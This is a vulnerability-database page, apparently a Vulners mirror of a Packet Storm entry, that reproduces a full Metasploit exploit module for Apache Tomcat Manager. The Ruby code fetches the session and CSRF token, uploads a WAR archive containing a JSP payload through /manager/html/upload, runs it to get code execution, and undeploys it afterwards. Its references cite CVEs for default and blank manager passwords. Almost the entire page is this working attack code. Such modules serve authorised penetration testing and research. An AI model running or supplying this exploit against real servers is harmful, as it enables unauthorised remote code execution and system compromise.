Lucene search
K

Apache Tomcat Manager Code Execution

🗓️ 01 Feb 2014 00:00:00Reported by rangerchaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 296 Views

Apache Tomcat Manager Application Upload Authenticated Code Execution. This module can execute a payload on Apache Tomcat servers with an exposed "manager" application, uploading a WAR archive containing a JSP application using a POST request against the /manager/html/upload component

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Apache Tomcat Manager Code Execution Exploit
4 Feb 201400:00
zdt
IBM Security Bulletins
Security Bulletin: TADDM affected by multiple vulnerabilities due to Apache Tomcat libraries
26 Mar 202503:33
ibm
ATTACKERKB
CVE-2009-3548
12 Nov 200923:30
attackerkb
ATTACKERKB
CVE-2009-3843
24 Nov 200900:30
attackerkb
ATTACKERKB
CVE-2009-4188
3 Dec 200917:30
attackerkb
ATTACKERKB
CVE-2010-4094
26 Oct 201018:00
attackerkb
ATTACKERKB
CVE-2010-0557
5 Feb 201022:30
attackerkb
ATTACKERKB
CVE-2009-4189
3 Dec 200917:30
attackerkb
Circl
CVE-2009-3548
14 Dec 201000:00
circl
Circl
CVE-2009-3843
14 Dec 201000:00
circl
Rows per page
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }  
  
CSRF_VAR = 'CSRF_NONCE='  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache Tomcat Manager Application Upload Authenticated Code Execution',  
'Description' => %q{  
This module can be used to execute a payload on Apache Tomcat servers that  
have an exposed "manager" application. The payload is uploaded as a WAR archive  
containing a jsp application using a POST request against the /manager/html/upload  
component.  
  
NOTE: The compatible payload sets vary based on the selected target. For  
example, you must select the Windows target to use native Windows payloads.  
},  
'Author' => 'rangercha',  
'License' => MSF_LICENSE,  
'References' =>  
[  
# This is based on jduck's tomcat_mgr_deploy.  
# the tomcat_mgr_deploy o longer works for current versions of tomcat due to  
# CSRF protection tokens. Also PUT requests against the /manager/html/deploy  
# aren't allowed anymore.  
  
# There is no single vulnerability associated with deployment functionality.  
# Instead, the focus has been on insecure/blank/hardcoded default passwords.  
  
# The following references refer to HP Operations Manager  
['CVE', '2009-3843'],  
['OSVDB', '60317'],  
['CVE', '2009-4189'],  
['OSVDB', '60670'],  
  
# HP Operations Dashboard  
['CVE', '2009-4188'],  
  
# IBM Cognos Express Default user/pass  
['BID', '38084'],  
['CVE', '2010-0557'],  
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179'],  
  
# IBM Rational Quality Manager and Test Lab Manager  
['CVE', '2010-4094'],  
['ZDI', '10-214'],  
  
# 'admin' password is blank in default Windows installer  
['CVE', '2009-3548'],  
['OSVDB', '60176'],  
['BID', '36954'],  
  
# tomcat docs  
['URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html']  
],  
'Platform' => %w{ java linux win }, # others?  
'Targets' =>  
[  
[ 'Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
}  
],  
#  
# Platform specific targets only  
#  
[ 'Windows Universal',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'win'  
}  
],  
[ 'Linux x86',  
{  
'Arch' => ARCH_X86,  
'Platform' => 'linux'  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 09 2009'))  
  
register_options(  
[  
OptString.new('USERNAME', [false, 'The username to authenticate as']),  
OptString.new('PASSWORD', [false, 'The password for the specified username']),  
# /cognos_express/manager/ for Cognos Express (19300)  
OptString.new('TARGETURI', [true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager'])  
], self.class)  
end  
  
def check  
res = query_manager  
disconnect  
  
return CheckCode::Unknown if res.nil?  
  
if res.code.between?(400, 499)  
vprint_error("#{peer} - Server rejected the credentials")  
return CheckCode::Unknown  
end  
  
return CheckCode::Safe unless res.code == 200  
  
# if res.code == 200  
# there should be access to the Tomcat Manager and to the status page  
res = query_status  
return CheckCode::Unknown unless res  
  
plat = detect_platform(res.body)  
arch = detect_arch(res.body)  
return CheckCode::Unknown unless plat and arch  
  
vprint_status("#{peer} - Tomcat Manager found running on #{plat} platform and #{arch} architecture")  
  
report_auth_info(  
:host => rhost,  
:port => rport,  
:sname => (ssl ? "https" : "http"),  
:user => datastore['USERNAME'],  
:pass => datastore['PASSWORD'],  
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",  
:active => true  
)  
  
return CheckCode::Appears  
end  
  
def exploit  
@app_base = rand_text_alphanumeric(4 + rand(32 - 4))  
@jsp_name = rand_text_alphanumeric(4 + rand(32 - 4))  
  
#  
# Find the session ID and the CSRF token  
#  
print_status("#{peer} - Retrieving session ID and CSRF token...")  
unless access_manager?  
fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")  
end  
  
#  
# Upload Payload  
#  
print_status("#{peer} - Uploading and deploying #{@app_base}...")  
if upload_payload  
report_auth_info(  
:host => rhost,  
:port => rport,  
:sname => (ssl ? "https" : "http"),  
:user => datastore['USERNAME'],  
:pass => datastore['PASSWORD'],  
:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",  
:active => true  
)  
else  
fail_with(Failure::Unknown, "Upload failed")  
end  
  
#  
# Execute Payload  
#  
print_status("#{peer} - Executing #{@app_base}...")  
unless execute_payload  
fail_with(Failure::Unknown, "Failed to execute the payload")  
end  
  
#  
# Get the new CSRF token & session id  
#  
unless access_manager?  
fail_with(Failure::Unknown, "Unable to access the Tomcat Manager")  
end  
  
#  
# Delete the deployed payload  
#  
print_status("#{peer} - Undeploying #{@app_base} ...")  
unless undeploy_app  
print_warning("#{peer} - Failed to undeploy #{@app_base}...")  
end  
end  
  
def query_status  
path = normalize_uri(target_uri.path.to_s, 'status')  
res = send_request_raw('uri' => path)  
  
unless res and res.code == 200  
vprint_error("Failed: Error requesting #{path}")  
return nil  
end  
  
return res  
end  
  
def query_manager  
path = normalize_uri(target_uri.path.to_s, '/html')  
res = send_request_raw('uri' => path)  
  
return res  
end  
  
def vars_get  
vars = {}  
unless @csrf_token.nil?  
vars = {  
"path" => @app_base,  
"org.apache.catalina.filters.CSRF_NONCE" => @csrf_token  
}  
end  
  
return vars  
end  
  
def detect_platform(body)  
return nil if body.blank?  
  
i=0  
  
body.each_line do |ln|  
ln.chomp!  
  
i = 1 if ln =~ /OS Name/  
  
if i == 9 or i == 11  
if ln.include? "Windows"  
return 'win'  
elsif ln.include? "Linux"  
return 'linux'  
elsif i==11  
return 'unknown'  
end  
end  
  
i = i+1 if i > 0  
end  
end  
  
def detect_arch(body)  
return nil if body.blank?  
  
i=0  
body.each_line do |ln|  
ln.chomp!  
  
i = 1 if ln =~ /OS Architecture/  
  
if i==9 or i==11  
if ln.include? 'x86'  
return ARCH_X86  
elsif ln.include? 'i386'  
return ARCH_X86  
elsif ln.include? 'i686'  
return ARCH_X86  
elsif ln.include? 'x86_64'  
return ARCH_X86  
elsif ln.include? 'amd64'  
return ARCH_X86  
elsif i==11  
return 'unknown'  
end  
end  
  
i = i + 1 if i > 0  
end  
end  
  
def find_csrf(res = nil)  
return "" if res.blank?  
  
vprint_status("#{peer} - Finding CSRF token...")  
  
body = res.body  
  
body.each_line do |ln|  
ln.chomp!  
csrf_nonce = ln.index(CSRF_VAR)  
next if csrf_nonce.nil?  
token = ln[csrf_nonce + CSRF_VAR.length, 32]  
return token  
end  
  
return ""  
end  
  
def generate_multipart_msg(boundary, data)  
# Rex::MIME::Message is breaking the binary upload when trying to  
# enforce CRLF for SMTP compatibility  
war_multipart = "-----------------------------"  
war_multipart << boundary  
war_multipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\""  
war_multipart << @app_base  
war_multipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n"  
war_multipart << data  
war_multipart << "\r\n-----------------------------"  
war_multipart << boundary  
war_multipart << "--\r\n"  
end  
  
def war_payload  
payload.encoded_war({  
:app_name => @app_base,  
:jsp_name => @jsp_name,  
:arch => target.arch,  
:platform => target.platform  
}).to_s  
end  
  
def send_war_payload(url, war)  
boundary_identifier = rand_text_numeric(28)  
  
res = send_request_cgi({  
'uri' => url,  
'method' => 'POST',  
'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier,  
'user' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'cookie' => @session_id,  
'vars_get' => vars_get,  
'data' => generate_multipart_msg(boundary_identifier, war),  
})  
  
return res  
end  
  
def send_request_undeploy(url)  
res = send_request_cgi({  
'uri' => url,  
'vars_get' => vars_get,  
'method' => 'POST',  
'user' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'cookie' => @session_id  
})  
  
return res  
end  
  
def access_manager?  
res = query_manager  
return false unless res and res.code == 200  
@session_id = res.get_cookies  
@csrf_token = find_csrf(res)  
return true  
end  
  
def upload_payload  
war = war_payload  
upload_path = normalize_uri(target_uri.path.to_s, "html", "upload")  
vprint_status("#{peer} - Uploading #{war.length} bytes as #{@app_base}.war ...")  
res = send_war_payload(upload_path, war)  
return parse_upload_response(res)  
end  
  
def parse_upload_response(res)  
unless res  
vprint_error("#{peer} - Upload failed on #{upload_path} [No Response]")  
return false  
end  
  
if res.code < 200 or res.code >= 300  
vprint_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}") if res.code == 401  
vprint_error("Upload failed on #{upload_path} [#{res.code} #{res.message}]")  
return false  
end  
  
return true  
end  
  
def execute_payload  
jsp_path = normalize_uri(@app_base, "#{@jsp_name}.jsp")  
  
vprint_status("#{peer} - Executing #{jsp_path}...")  
  
res = send_request_cgi({  
'uri' => jsp_path,  
'method' => 'GET'  
})  
  
return parse_execute_response(res)  
end  
  
def parse_execute_response(res)  
unless res  
vprint_error("#{peer} - Execution failed on #{@app_base} [No Response]")  
return false  
end  
  
if res and (res.code < 200 or res.code >= 300)  
vprint_error("#{peer} - Execution failed on #{@app_base} [#{res.code} #{res.message}]")  
return false  
end  
  
return true  
end  
  
def undeploy_app  
undeploy_url = normalize_uri(target_uri.path.to_s, "html", "undeploy")  
res = send_request_undeploy(undeploy_url)  
  
unless res  
vprint_warning("#{peer} - WARNING: Undeployment failed on #{undeploy_url} [No Response]")  
return false  
end  
  
if res and (res.code < 200 or res.code >= 300)  
vprint_warning("#{peer} - Deletion failed on #{undeploy_url} [#{res.code} #{res.message}]")  
return false  
end  
  
return true  
end  
  
end`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation